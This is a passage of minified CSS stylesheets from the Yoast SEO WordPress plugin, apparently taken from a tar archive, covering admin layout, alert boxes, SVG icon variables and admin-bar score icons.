1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}.wpseo_content_wrapper{display:table;table-layout:fixed;width:100%}.wpseo_content_cell{display:table-cell;height:500px;margin:0;padding:0;vertical-align:top}#wpseo_content_top{width:100%}tr.yst_row{margin:5px 0 0;padding:5px 0 0}#sidebar-container{padding-right:20px;width:300px}tr.yst_row.even{background-color:#f6f6f6}.wpseo_content_wrapper label.select,.wpseo_content_wrapper label.textinput{word-wrap:break-word;float:right;margin:5px 0;width:200px}.wpseo_content_wrapper label.select.error,.wpseo_content_wrapper label.textinput.error{color:#dc3232;font-weight:700}.wpseo_content_wrapper .yoast-inline-label{display:inline-block;float:none;margin:0 0 8px}.wpseo_content_wrapper input.textinput,.wpseo_content_wrapper select,.wpseo_content_wrapper textarea{width:400px}.wpseo_content_wrapper input.number{width:100px}.wpseo_content_wrapper input.large-text,.wpseo_content_wrapper textarea.large-text{width:99%}.wpseo_content_wrapper .select2-container,.wpseo_content_wrapper input.textinput,.wpseo_content_wrapper select.select,.wpseo_content_wrapper textarea.textinput{margin:0 0 15px}.wpseo_content_wrapper input.textinput[aria-invalid=true]{background:#f9dcdc url(../../images/error-icon.svg) no-repeat calc(100% - (100% - 6px));background-size:12px;border:1px solid #dc3232;color:#000;padding-left:24px}.wpseo_content_wrapper input.textinput[aria-invalid=true][aria-describedby]{margin-bottom:.5rem}.wpseo_content_wrapper .yoast-input-validation__error-description{color:#8f1919;margin:0 0 1rem;padding-right:200px;width:400px}.wpseo_content_wrapper input.checkbox,.wpseo_content_wrapper input.checkbox.double,.wpseo_content_wrapper input.radio{margin:6px 0 6px 10px}.wpseo_content_wrapper .textinput.metadesc{height:50px}.wpseo_content_wrapper textarea.import{height:100px;width:500px}.wpseo_content_wrapper p.desc{margin:6px 0 10px;padding:0 25px 8px 0}.wpseo_content_wrapper div.desc.label,.wpseo_content_wrapper p.desc.label{margin:0 0 20px;padding:0 200px 10px 0}.wpseo_content_wrapper h4{clear:both;margin:1.2em 0 .5em}.wpseo_content_wrapper .postbox{margin:10px 0 0 10px}.wpseo_content_wrapper .postbox form{line-height:150%}.wpseo_content_wrapper .text{width:250px}.wpseo_content_wrapper .correct{background-color:green;color:#fff;padding:5px}.wpseo_content_wrapper .wrong{background-color:#dc3232;color:#fff;padding:5px}.wpseo_content_wrapper .wrong code{color:#000;padding:3px 8px}.wpseo_content_wrapper .button.fixit{float:left;margin:0 5px}.wpseo_content_wrapper .button.checkit{float:left;margin:0 5px;padding:5px 8px}.wpseo_content_wrapper .disabled-note{color:#888;margin:0 0 8px}.wpseo_content_wrapper #separator{margin:1em 0 0}.wpseo_content_wrapper #separator input.radio{height:1px;right:-9999em;position:absolute;width:1px}.wpseo_content_wrapper #separator input.radio+label{border:1px solid #ccc;cursor:pointer;float:right;font-family:Arial,Helvetica,sans-serif!important;font-size:18px!important;line-height:24px;margin:.5em 0 0 5px!important;padding:9px 6px;text-align:center;width:30px!important}.wpseo_content_wrapper #separator input.radio:checked+label{background-color:#fff;border:3px solid #a4286a;padding:7px 4px}.wpseo_content_wrapper #separator input.radio:focus+label{outline:2px solid #5b9dd9}.wpseo_content_wrapper .svg-container{text-align:center}.wpseo_content_wrapper .svg-container .dashicons{font-size:100px;height:100px;width:200px}.wpseo_content_wrapper .paper.tab-block button.toggleable-container-trigger{font-size:1.0625rem;padding:16px;width:100%}.wpseo_content_wrapper .paper.tab-block button.toggleable-container-trigger:focus{box-shadow:0 0 3px #084a67cc;outline:1px solid #0066cd;outline-offset:-1px}.wpseo_content_wrapper .paper.tab-block button.toggleable-container-trigger:active{box-shadow:none}.wpseo_content_wrapper .paper.tab-block h2.collapsible-header{margin:0!important;padding:0!important}.wpseo_content_wrapper .paper.tab-block.metabox button.toggleable-container-trigger{color:#555}.wpseo_content_wrapper .paper.tab-block.metabox.wpseotab{border:0;padding:0}.wpseo_content_wrapper .paper.tab-block .paper-container{padding:16px}.wpseo_content_wrapper .paper.tab-block.has-paper-container-no-top-padding .paper-container{padding-top:0}.wpseo_content_wrapper .paper.tab-block .paper-container:first-child{margin-top:0}.wpseo_content_wrapper .paper.tab-block .paper-title{padding:16px}.wpseo_content_wrapper .paper.tab-block .paper-title h2{margin:0}.wpseo_content_wrapper .paper.tab-block .tab-block:first-child{margin-top:0}.wpseo_content_wrapper .wpseo-collapsible-container{background-color:#fff;border-bottom:1px solid #e2e4e7;border-top:1px solid #e2e4e7;margin-top:-1px}.wpseo_content_wrapper .toggleable-container-trigger{background:none;border:0;cursor:pointer;padding:0;text-align:right;width:100%}.wpseo_content_wrapper .toggleable-container-icon{float:left;height:20px;position:relative;width:20px}.wpseo_content_wrapper .toggleable-container-trigger .toggleable-container-icon:after{content:"";display:block;right:-4px;padding:14px;position:absolute;top:-4px}.wpseo_content_wrapper .toggleable-container-hidden{display:none}.wpseo_content_wrapper h3{font-size:1.15em;margin:1em 0 .5em}.wpseo_content_wrapper h3.h2{font-size:1.3em}.wpseo_content_wrapper li,.wpseo_content_wrapper p{max-width:600px}.wpseo_content_wrapper .notice p,.yoast .search-box,.yoast-container .container,.yoast-notification p{max-width:none}table.wpseo th{text-align:right}#wpseo-tabs+.notice{margin-top:1.5em}.wpseo-variable-warning-element{border:1px solid #c62d2d!important}.wpseo-variable-warning{clear:both;color:#c62d2d;margin:5px 0 0;padding:5px}.wpseo-variable-warning code{color:#b02828}.wpseo-variable-warning a{color:#c62d2d}.wpseo_content_wrapper h1.wpseo-redirect-url-title{font-size:1.3em;margin:1em 0 .5em}table.yoast_help{border-collapse:collapse;width:100%}table.yoast_help,table.yoast_help td,table.yoast_help th{border:1px solid #ddd;color:#444}table.yoast_help td,table.yoast_help th{padding:5px 10px;text-align:right;vertical-align:top}table.yoast_help tr{background-color:#f1f1f1}table.yoast_help tr:nth-child(2n){background-color:#fbfbfe}table.yoast_help tr:hover{background-color:#ddd}table.yoast_help thead tr,table.yoast_help thead tr:hover{background-color:#fff}table.yoast_help .yoast-variable-name{font-weight:600;white-space:nowrap}table.yoast_help .yoast-variable-desc{min-width:300px}.yoast-notice-blocking-files code{color:#000;line-height:2}.yoast-notice-blocking-files .button{margin:.5em 0}.wpseo_content_wrapper .yoast-blocking-files-error p{max-width:none}.wpseotab{display:none}.wpseotab.active{display:block}.wpseotab p.expl{margin-right:6px}.wpseotab .tab-block{display:block;margin:30px 0}.wpseotab p.expl strong{font-size:115%}#wpseo-debug-info{background-color:#fff;border:1px solid #e5e5e5;box-shadow:0 1px 1px #0000000a;clear:both;margin:20px 0 0;padding:20px 20px 0}#wpseo-debug-info h2{cursor:auto;margin:0}#wpseo-debug-info .wpseo-debug-heading{font-size:1em}#wpseo-debug-info .wpseo-debug{color:#c00;display:inline-block;padding-right:20px}input.wpseo-new-title,textarea.wpseo-new-metadesc{max-width:100%;width:100%}body.toplevel_page_wpseo_dashboard .wp-badge{background:#0000 url(../../packages/js/images/Yoast_SEO_Icon.svg) no-repeat 50% 10px;background-size:140px 140px;box-shadow:none}#wpseo_progressbar{border:1px solid #006691;height:25px}#wpseo_progressbar .ui-progressbar-value{background:#006691;height:25px}.wpseo-progressbar-wrapper{display:inline;width:100%}.wpseo-progressbar{border:1px solid #006691;display:block;height:25px;width:100%}.wpseo-progressbar .ui-progressbar-value{background:#006691;height:25px}.yoast-sidebar__title{border-bottom:1px solid #a4286a;box-sizing:border-box;color:#a4286a;line-height:19px;margin:5px 0;padding:10px 0;text-align:right;width:100%}.yoast-sidebar__product{background:#a61e69;border-radius:8px;color:#fff;margin-top:34px;padding:24px}.yoast-sidebar__product h2{color:#fff;font-size:22px;font-weight:700}.yoast-get-premium-title{line-height:27px;margin-bottom:12px;margin-top:0}.yoast-get-premium-title span{white-space:nowrap}.yoast-sidebar__product .product-image{margin:-50px auto 16px;max-height:75px;max-width:75px;position:relative;z-index:2}.yoast-sidebar__product .product-image img{border:1px solid #fff;border-radius:12px 12px 12px 0;overflow:hidden}.yoast-sidebar__product p{font-size:1rem;margin-bottom:12px;margin-top:0}.yoast-sidebar__product .yoast-price-micro-copy{font-size:12px;font-weight:300;line-height:20px;margin-bottom:16px;text-align:center}.yoast-sidebar__product .yoast-upsell-hr{border-color:#cd82ab;border-top:1px;margin-bottom:16px}.yoast-sidebar__product .plugin-buy-button .yoast-button-upsell{width:100%}.yoast-sidebar__product .review-container{margin-top:16px}.yoast-sidebar__product .review-container a{color:#fff;text-decoration:none}.yoast-sidebar__product .review-container a .claim{color:#fff;display:block;margin-bottom:12px}.yoast-sidebar__product .review-container .title{color:#fff;font-weight:500;margin-bottom:8px}.yoast-sidebar__product .review-container .title:hover{text-decoration:underline}.yoast-sidebar__product .review-container .rating{display:flex;gap:5px}.yoast-sidebar__product .review-container .rating img{max-height:22px;max-width:22px}.yoast-sidebar__product .review-container .rating .rating-text{font-size:16px;font-weight:600}.yoast-sidebar__product .sidebar__sale_banner_container{margin-right:-24px;margin-top:-40px;overflow-x:hidden;overflow-y:initial;width:calc(100% + 48px)}.yoast-sidebar__product .sidebar__sale_banner_container .sidebar__sale_banner{background:#000;box-shadow:0 -1px 4px 0 #fcd34d,0 1px 4px 0 #fcd34d,0 -1px 0 0 #fcd34d,0 1px 0 0 #fcd34d;color:#fcd34d;font-size:20px;font-weight:500;letter-spacing:.5px;line-height:30px;margin-bottom:20px;margin-right:-30px;margin-top:20px;padding:7px 0;text-align:center;transform:rotate(5deg);width:calc(100% + 60px);z-index:1}.yoast-sidebar__product .sidebar__sale_banner_container .sidebar__sale_banner .banner_text{display:inline-block;margin:0 40px}.yoast-sidebar__product .sidebar__sale_text{border-top:1px solid #fff;font-style:italic;text-align:center}.yoast-sidebar__product .sidebar__sale_text p{font-size:12.5px;margin:12.5px 0}.yoast-sidebar__section{background-color:#fff;border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin:10px 0 20px;padding:16px}.yoast-sidebar__section h2{color:#a4286a;margin-top:0}.yoast-sidebar__section a{color:#0085ba}.yoast-sidebar__section ul{position:relative}.yoast-sidebar__section li{list-style:none;margin-right:20px}.yoast-sidebar__section li:before{content:"+";font-weight:700;right:0;position:absolute}.yoast-sidebar__section div{margin:10px 0 20px;position:relative}.yoast-sidebar__section div img{float:left;height:70px;margin:0 10px 0 0;width:70px}.yoast-sidebar__section div img.alignleft{float:right;margin:0 0 0 10px}.yoast-sidebar__section div p{float:right;margin:0;width:100%}.yoast_premium_upsell{background-color:#fff;border:1px solid #dcdcdc;box-shadow:0 1px 6px 0 #0000004d;margin-top:2em;max-width:715px;overflow:hidden}.yoast_premium_upsell--container{padding:16px}.black-friday-container{background-color:#1f2937;border-bottom:2px solid #fcd34d;display:flex;padding:8px 16px}.black-friday-container span{color:#fcd34d;font-size:1.2rem;font-weight:600}.yoast_premium_upsell--header{color:#a4286a;font-size:1.7em;font-weight:700;margin-top:.3em}.yoast_premium_upsell--motivation{display:flex;flex-wrap:wrap}.yoast_premium_upsell--motivation li{flex:0 0 50%;list-style:none}.yoast_premium_upsell--argument{padding:0 20px 0 8px}.yoast_premium_upsell--argument:before{content:"+";font-weight:700;right:-16px;margin-left:-10px;position:relative;top:-1px}@media screen and (max-width:480px){.yoast_premium_upsell--motivation{display:block}}.yoast-variable-desc{min-width:300px}.yoast-table-scrollable,.yoast-table-scrollable td,.yoast-table-scrollable th{box-sizing:border-box}.yoast-table-scrollable__container.yoast-has-scroll{overflow:hidden;position:relative}.yoast-table-scrollable__container.yoast-has-scroll:after{border-radius:0 10px 10px 0/0 50% 50% 0;box-shadow:5px 0 10px #00000040;content:"";height:calc(100% - 16px);right:100%;position:absolute;top:0;width:50px}.yoast-table-scrollable__container.yoast-has-scroll .yoast-table-scrollable__inner{overflow-x:scroll;padding-bottom:16px}.yoast-table-scrollable__hintwrapper{display:none}.yoast-table-scrollable__hintwrapper.yoast-has-scroll{display:block;margin:1em 0;text-align:center}.yoast-has-scroll .yoast-table-scrollable__hint{display:inline-block}.yoast-has-scroll .yoast-table-scrollable__hint:before{content:"\21c4";display:inline-block;font-size:20px;line-height:inherit;margin-left:10px;vertical-align:text-top}.yoast-styled-select{align-items:center;display:inline-flex;margin-bottom:1em;position:relative}.yoast-styled-select:after,.yoast-styled-select:before{bottom:0;content:"";pointer-events:none;position:absolute;top:0}.yoast-styled-select:before{left:0;width:28px}.yoast-styled-select:after{border-top:4px solid #0000;border-color:#555 #0000 #0000;border-style:solid;border-width:5px 4px 0;height:0;margin:auto;left:6px;width:0;z-index:1}.yoast-styled-select select{-webkit-appearance:none;appearance:none;background:#0000;border:1px solid #aaa;border-radius:4px;box-sizing:border-box;color:#32373c;height:28px;line-height:1;margin:0;max-width:100%;padding:4px 8px 4px 32px}.yoast-styled-select select.error{border-color:#dc3232;border-width:2px}.wpseo_content_wrapper .yoast-styled-select select.select{margin:0}.yoast-styled-select select:focus{border-color:#5b9dd9}.yoast-styled-select select:-moz-focusring{color:#0000;text-shadow:0 0 0 #32373c}.yoast-styled-select select[disabled]{opacity:.75}.yoast-styled-select select::-ms-expand{display:none}@media screen and (max-width:1024px){.wpseo_content_cell,.wpseo_content_wrapper{display:block;height:auto}#wpseo_content_top{width:auto}#sidebar-container{display:flex;gap:.7rem;padding:0;width:auto}.yoast-sidebar__product .sidebar__sale_banner_container{overflow-y:hidden}#sidebar-container .yoast-sidebar__section{margin-top:5rem}.yoast-sidebar__product-list{border-bottom:1px solid #ddd;display:flex}.yoast-sidebar__product-list div p{word-wrap:break-word;width:calc(100% - 50px)}.yoast-sidebar__product-list .yoast-sidebar__section{border-bottom:none}.yoast-sidebar__product-list .yoast-sidebar__section:first-child{margin-left:40px}}@media screen and (max-width:782px){.wpseo_content_wrapper label.select,.wpseo_content_wrapper label.textinput{display:inline-block;float:none;width:auto}.wpseo_content_wrapper input.textinput,.wpseo_content_wrapper textarea,.wpseo_content_wrapper textarea.textinput{display:block;width:100%}.wpseo_content_wrapper .select2-container,.wpseo_content_wrapper select,.wpseo_content_wrapper select.select{display:block;margin:0 0 5px;max-width:100%}.wpseo_content_wrapper div.desc.label,.wpseo_content_wrapper p.desc.label{padding-right:0}.wpseo_content_wrapper .textinput[aria-invalid=true][aria-describedby]+br{display:none}.wpseo_content_wrapper .yoast-input-validation__error-description{padding-right:0;width:auto}}@media screen and (max-width:600px){.yoast-sidebar__product-list{border-bottom:none;display:block}.yoast-sidebar__product-list .yoast-sidebar__section{border-bottom:1px solid #ddd}.yoast-sidebar__product-list .yoast-sidebar__section p{word-wrap:break-word;padding-right:50px;width:calc(100% - 50px)}}@media screen and (max-width:500px){.yoast-sidebar__product .sidebar__sale_banner_container .sidebar__sale_banner{transform:rotate(4deg)}#sidebar-container{display:block}#sidebar-container .yoast-sidebar__section{margin-top:20px}body.toplevel_page_wpseo_dashboard .wp-badge{background-color:#a4286a;background-size:100px 100px;box-shadow:0 1px 3px #0003;padding-top:80px}}.wpseo-checkmark-ok-icon{background:var(--yoast-svg-icon-check-ok) no-repeat;background-size:18px;float:right;height:18px;margin-left:5px;vertical-align:top;width:18px}.yoast-settings-section:not(:last-child){margin-bottom:40px}.yoast-settings-section .yoast-field-group__title .yoast_help.yoast-help-link{margin:-6px 2px 0 0}#yoast-og-default-image-select .yoast-field-group__title{display:none}.yoast-settings-section.yoast-settings-section-disabled{border:1px solid #ccc;padding:16px;position:relative}.yoast-settings-section.yoast-settings-section-disabled>*{opacity:.5}.yoast-settings-section.yoast-settings-section-disabled .yoast-settings-section-upsell{align-items:center;bottom:0;display:flex;justify-content:center;right:0;opacity:1;position:absolute;left:0;top:0}@keyframes yoast-spin{0%{transform:rotate(0deg)}to{transform:rotate(-1turn)}}wordpress-seo/css/dist/alerts-2420-rtl.css000064400000000760147510273070014314 0ustar00.yoast-alert{align-items:flex-start;border:1px solid #0003;display:flex;font-size:13px;line-height:1.5;margin:16px 0;padding:16px}.yoast-alert--error{background:#f9dcdc;color:#8f1919}.yoast-alert--info{background:#cce5ff;color:#00468f}.yoast-alert--success{background:#e2f2cc;color:#395315}.yoast-alert--warning{background:#fff3cd;color:#674e00}.yoast-alert__icon.yoast-alert__icon{display:block;height:16px;margin-left:8px;margin-top:.1rem;max-width:none;width:16px}.yoast-alert a{color:#004973}wordpress-seo/css/dist/icons-2420.css000064400000017426147510273070013345 0ustar00:root{--yoast-svg-icon-info:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23A4286A' d='M1152 1376v-160q0-14-9-23t-23-9h-96V672q0-14-9-23t-23-9H672q-14 0-23 9t-9 23v160q0 14 9 23t23 9h96v320h-96q-14 0-23 9t-9 23v160q0 14 9 23t23 9h448q14 0 23-9t9-23zm-128-896V320q0-14-9-23t-23-9H800q-14 0-23 9t-9 23v160q0 14 9 23t23 9h192q14 0 23-9t9-23zm640 416q0 209-103 385.5T1281.5 1561 896 1664t-385.5-103T231 1281.5 128 896t103-385.5T510.5 231 896 128t385.5 103T1561 510.5 1664 896z'/%3E%3C/svg%3E");--yoast-svg-icon-check:url("data:image/svg+xml;charset=utf-8,%3Csvg viewBox='0 0 1792 1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-check-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%2377B227' d='M1671 566q0 40-28 68l-724 724-136 136q-28 28-68 28t-68-28l-136-136-362-362q-28-28-28-68t28-68l136-136q28-28 68-28t68 28l294 295 656-657q28-28 68-28t68 28l136 136q28 28 28 68z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-right:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M0 384.662V127.338c0-17.818 21.543-26.741 34.142-14.142l128.662 128.662c7.81 7.81 7.81 20.474 0 28.284L34.142 398.804C21.543 411.404 0 402.48 0 384.662Z'/%3E%3C/svg%3E");--yoast-svg-icon-caret-left:url("data:image/svg+xml;charset=utf-8,%3Csvg width='16' height='16' viewBox='0 0 192 512' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M192 127.338v257.324c0 17.818-21.543 26.741-34.142 14.142L29.196 270.142c-7.81-7.81-7.81-20.474 0-28.284l128.662-128.662c12.599-12.6 34.142-3.676 34.142 14.142z'/%3E%3C/svg%3E");--yoast-svg-icon-eye:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M1664 960q-152-236-381-353 61 104 61 225 0 185-131.5 316.5T896 1280t-316.5-131.5T448 832q0-121 61-225-229 117-381 353 133 205 333.5 326.5T896 1408t434.5-121.5T1664 960zM944 576q0-20-14-34t-34-14q-125 0-214.5 89.5T592 832q0 20 14 34t34 14 34-14 14-34q0-86 61-147t147-61q20 0 34-14t14-34zm848 384q0 34-20 69-140 230-376.5 368.5T896 1536t-499.5-139T20 1029Q0 994 0 960t20-69q140-229 376.5-368T896 384t499.5 139T1772 891q20 35 20 69z'/%3E%3C/svg%3E");--yoast-svg-icon-list:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M384 1408q0 80-56 136t-136 56-136-56-56-136 56-136 136-56 136 56 56 136zm0-512q0 80-56 136t-136 56-136-56T0 896t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 1504v-192q0-13 9.5-22.5t22.5-9.5h1216q13 0 22.5 9.5t9.5 22.5zM384 384q0 80-56 136t-136 56-136-56T0 384t56-136 136-56 136 56 56 136zm1408 416v192q0 13-9.5 22.5t-22.5 9.5H544q-13 0-22.5-9.5T512 992V800q0-13 9.5-22.5T544 768h1216q13 0 22.5 9.5t9.5 22.5zm0-512v192q0 13-9.5 22.5T1760 512H544q-13 0-22.5-9.5T512 480V288q0-13 9.5-22.5T544 256h1216q13 0 22.5 9.5t9.5 22.5z'/%3E%3C/svg%3E");--yoast-svg-icon-key:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='M832 512q0-80-56-136t-136-56-136 56-56 136q0 42 19 83-41-19-83-19-80 0-136 56t-56 136 56 136 136 56 136-56 56-136q0-42-19-83 41 19 83 19 80 0 136-56t56-136zm851 704q0 17-49 66t-66 49q-9 0-28.5-16t-36.5-33-38.5-40-24.5-26l-96 96 220 220q28 28 28 68 0 42-39 81t-81 39q-40 0-68-28l-671-671q-176 131-365 131-163 0-265.5-102.5T0 784q0-160 95-313t248-248 313-95q163 0 265.5 102.5T1024 496q0 189-131 365l355 355 96-96q-3-3-26-24.5t-40-38.5-33-36.5-16-28.5q0-17 49-66t66-49q13 0 23 10 6 6 46 44.5t82 79.5 86.5 86 73 78 28.5 41z'/%3E%3C/svg%3E");--yoast-svg-icon-edit:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23555' d='m491 1536 91-91-235-235-91 91v107h128v128h107zm523-928q0-22-22-22-10 0-17 7l-542 542q-7 7-7 17 0 22 22 22 10 0 17-7l542-542q7-7 7-17zm-54-192 416 416-832 832H128v-416zm683 96q0 53-37 90l-166 166-416-416 166-165q36-38 90-38 53 0 91 38l235 234q37 39 37 91z'/%3E%3C/svg%3E");--yoast-svg-icon-lock:url('data:image/svg+xml;charset=utf-8,<svg xmlns="http://www.w3.org/2000/svg" class="h-6 w-6" fill="none" viewBox="0 0 24 24" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 0 0 2-2v-6a2 2 0 0 0-2-2H6a2 2 0 0 0-2 2v6a2 2 0 0 0 2 2zm10-10V7a4 4 0 0 0-8 0v4h8z"/></svg>');--yoast-svg-icon-yoast:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23999' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-good:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%237ad03a' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-ok:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23ee7c1b' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-bad:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%23dc3232' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E");--yoast-svg-icon-yoast-noindex:url("data:image/svg+xml;charset=utf-8,%3Csvg width='1792' height='1792' xmlns='http://www.w3.org/2000/svg' aria-hidden='true'%3E%3Cpath fill='%231e8cbe' d='M403 218h691l-26 72H403q-110 0-188.5 79T136 558v771q0 95 60.5 169.5T350 1592q23 5 98 5v72h-45q-140 0-239.5-100T64 1329V558q0-140 99.5-240T403 218zM1254 0h247l-482 1294q-23 61-40.5 103.5t-45 98-54 93.5-64.5 78.5-79.5 65-95.5 41-116 18.5v-195q163-26 220-182 20-52 20-105 0-54-20-106L459 471h228l187 585zm474 558v1111H933q37-55 45-73h678V558q0-85-49.5-155T1477 304l25-67q101 34 163.5 123.5T1728 558z'/%3E%3C/svg%3E")}wordpress-seo/css/dist/adminbar-2420.css000064400000010137147510273070013777 0ustar00.wpseo-score-icon{background:#888;border-radius:50%!important;display:inline-block!important;height:12px!important;margin:3px 10px 0 3px;vertical-align:top;width:12px!important}.wpseo-score-icon.good{background-color:#7ad03a}.wpseo-score-icon.ok{background-color:#ee7c1b}.wpseo-score-icon.bad{background-color:#dc3232}.wpseo-score-icon.na{background-color:#888}.wpseo-score-icon.noindex{background-color:#1e8cbe}#wp-admin-bar-wpseo-menu .wpseo-score-icon{margin:10px 0 0 4px!important}#wp-admin-bar-wpseo-menu .wpseo-score-icon.adminbar-sub-menu-score{margin:11px 0 0 4px!important}#wp-admin-bar-wpseo-menu-default .ab-item{line-height:2.46153846!important}#wp-admin-bar-wpseo-menu .ab-submenu{margin-bottom:5px}#wpadminbar .quicklinks #wp-admin-bar-wpseo-menu #wp-admin-bar-wpseo-menu-default li#wp-admin-bar-wpseo-get-premium a{color:#fff!important;font-weight:700!important}#wpadminbar .quicklinks #wp-admin-bar-wpseo-menu 